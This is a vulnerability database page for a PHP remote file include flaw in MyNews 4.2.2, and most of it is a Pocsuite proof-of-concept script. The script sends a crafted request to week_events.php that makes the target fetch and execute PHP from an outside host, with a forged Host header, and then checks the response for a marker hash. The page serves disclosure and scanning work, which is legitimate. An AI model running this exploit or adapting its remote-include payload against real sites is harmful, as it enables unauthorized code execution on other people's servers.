Lucene search
K

MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability in include/blocks/week_events.ph

Code

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '83309'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2007-04-12'
    createDate = '2015-12-29'
    updateDate = '2015-12-29'
    references = ['http://www.sebug.net/vuldb/ssvid-83309']
    name = 'MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability'
    appPowerLink = 'N/A'
    appName = 'MyNews'
    appVersion = '4.2.2'
    vulType = 'Remote File Include'
    desc = '''
        MyNews的include/blocks/week_events.php中存在PHP远程文件包含漏洞。
        当register_globals和allow_url_include开启时,远程攻击者可以借助
        myNewsConf[path][sys][index]参数中的一个URL,执行任意的PHP代码。
    '''
    samples = ['']

    def _attack(self):
        #和_verify的过程一致(执行<?php echo md5('3.1416');?>)
        return self._verify()

    def _verify(self):
        #下面以/include/blocks/week_events.php文件为例子,验证RFI漏洞
        result = {}
        #<?php echo md5('3.1416');?>,payload中最后的?起到伪截断作用
        payload='http://tool.scanv.com/wsl/php_verify.txt?'
        vulurl='{url}/include/blocks/week_events.php?myNewsConf[path][sys][index]={evil}'.format(url=self.url,evil=payload)
        #伪造的HTTP头
        httphead = {
          'Host':'www.google.com',
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #md5('3.1416')=d4d7a6b8b3ed8ed86db2ef2cd728d8ec
        match = re.search('d4d7a6b8b3ed8ed86db2ef2cd728d8ec', resp.content)
        if match:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation